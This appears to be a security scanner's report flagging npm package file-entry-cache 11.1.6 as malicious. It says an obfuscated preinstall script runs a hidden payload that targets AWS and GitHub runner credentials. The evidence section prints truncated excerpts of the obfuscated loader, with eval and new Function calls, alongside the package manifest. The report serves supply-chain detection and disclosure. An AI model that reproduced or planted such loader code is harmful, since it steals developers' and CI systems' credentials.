file-entry-cache 11.1.6
Obfuscated preinstall executes hidden payload
Obfuscated JavaScript targets AWS and GitHub credentialsObfuscated JavaScript targets AWS and GitHub runner credentials
SHA-25681b543f999f5a9c0fc099808c118aa6332e1d84bd0356cc48178d17af5c4c396
Also flagged by https://www.aikido.dev/blog/rss.xml (The dark figure of supply chain detection), osv (MAL-2026-11970: Malicious code in file-entry-cache (npm)) +5 more.
Evidence
1// @bun @bun-cjs
2var MmgoCP,etDiOOB,JqTtnbZ,bc3Kak,ZQmUTyQ,TTUgga,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV;function WV8StW(MmgoCP,etDiOOB,JqTtnbZ){for(JqTtnbZ=0x0;JqTtnbZ<etDiOOB;JqTtnbZ++)MmgoCP.push(MmgoCP.shift());return MmgoCP}const n7gIxM=[0x0,0x1,0x8,0xff,"length","undefined",void 0x0,0xab,0x65,0xb2,0xd4,0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x3,0xa4,"h",0x37,"i","g",0x5,0xb9,0x57,0x52,0x7f,0x80,0xdf,0xef,0xf4,0xf5,"b",0x9,"d","\n",0x9e,0x6b,"c","f",0x4,0x3ff,0x10000,0xa,0xd800,0xdc00,0x56,0x4e,0x22,0x93,0x1f,0xc0,0xf,0xe0,0x12,0xf0,0x79,0xb1,0x2,"a",0x38,"e",0xb6,0xf8,0xd2,!0x1,0x200,0x116,0x64,0x7c,0x88,0x119,0x11a,0x108,0xbf,0xc1,0x13f,0xc6,0x100,null,0x4000,0xf6,0x2c,0xce,0xcc,0x5d,0xe1,".","Z","k",0x173,"l",0x179,0x17c,"m",0xe3,0x184,"p",0x185,0x186,0xa2,"s","o",0x5c,"j","/","w",0x16,0x163,"ng",0x16c,0x161,0x19f,0x1a0,"=",0x19c,0x1b0,0x1b1,0x1b2,0x1ba,"M",0x1da,0x1dc,0x1e8,0x5f,0xf3,0x96,0x4b,0x1ee,0x1ef,0x1f0,0x1f1,"-",0x55,!0x0,0x14e,0xf1,0xf2,0x9d,0xd3,0x209,0x20e,"r",0x213,0x216,0x217,0x227,0x226,0x225,0x10,0xffffffff,0x4a,0x20,0x23f,0x245,0xe5,0xa9,0x4f,0x248,0x243,0x254,0x …
2:129609… uffer,MDX6yrw=JqTtnbZ.String||String,h8wMJNB=JqTtnbZ.Array||Array,CabwE2L=function(){var MmgoCP=new h8wMJNB(n7gIxM[0x21]),etDiOOB,JqTtnbZ;evcN91N(etDiOOB=MDX6yrw[n7gIxM[0xd]]||MDX6yrw.fromCharCode,JqTtnbZ=[]);return function(...bc3Kak){evcN91N(bc3Kak[n7gIxM[0x4]]=n7gIxM[0x1],bc3Kak[-n7gIxM[0xa]]=n7gIxM[0x6],bc3K …
2:133993… Kak]===n7gIxM[0x5]){return MmgoCP[bc3Kak]=JqTtnbZ(etDiOOB[bc3Kak])}return MmgoCP[bc3Kak]}return new Function(bc3Kak(0x4d))()}],bc3Kak=void 0x0,ZQmUTyQ=[]);try{function CabwE2L(JqTtnbZ){var bc3Kak="]@,W_}D~ECYT+z?`o;.<9x{>![a*)\"0m^rQBIZ35PJ8n2HbckNpSAOLFVthuGefjU46dXlR#KwqsygMi1v7$%&(:=/|",ZQmUTyQ,MDX6yrw,h8wMJNB,CabwE2L,x5ErqV,WV8StW,hc1jfK9;evcN91N(ZQmUTyQ=""+(JqTtnbZ||""),MDX6yrw=ZQmUTyQ.length,h8wMJNB=[],CabwE2 …
2:708346… ();if(ZQmUTyQ){let TTUgga=lkjWus(hSGuWk(n7gIxM[0x2db]))[hSGuWk(n7gIxM[0x1b9])](ZQmUTyQ);if(TTUgga[hSGuWk(n7gIxM[0x151])]){await eval(TTUgga[hSGuWk(n7gIxM[0x151])])}}}catch{}}}class De62lPC{[hSGuWk(n7gIxM[0x46a])];constructor(JqTtnbZ){this[hSGuWk(n7gIxM[0x46a])]=JqTtnbZ}async[hSGuWk(0x1144)+hSGuWk(0x1145)](){try{dBe8_Z(lkjWus(hSGuWk(n7gIxM[0x2ce]))(hSGuWk(0x1146)+hSGuWk(0x1147)+hSGuWk(0 …
1{
2 "name": "file-entry-cache",
3 "version": "11.1.6",
4 "description": "A lightweight cache for file metadata, ideal for processes that work on a specific set of files and only need to reprocess files that have changed since the last run",
5 "type": "module",
6 "main": "./dist/index.cjs",
7 "module": "./dist/index.mjs",
8 "types": "./dist/index.d.mts",
9 "exports": {
10 ".": {
11 "import": {
⋯7 lines
19 }
20 },
21 "repository": {
22 "type": "git",
23 "url": "git+https://github.com/jaredwray/cacheable.git",
24 "directory": "packages/file-entry-cache"
25 },
⋯12 lines
38 "pino": "^10.3.1",
39 "tsdown": "^0.22.3",
40 "typescript": "^6.0.3"
41 },
42 "dependencies": {
43 "flat-cache": "^6.1.24"
44 },
45 "files": [
46 "dist",
47 "license",
48 "setup.mjs",
No evidence locations were recorded for this file. Raw result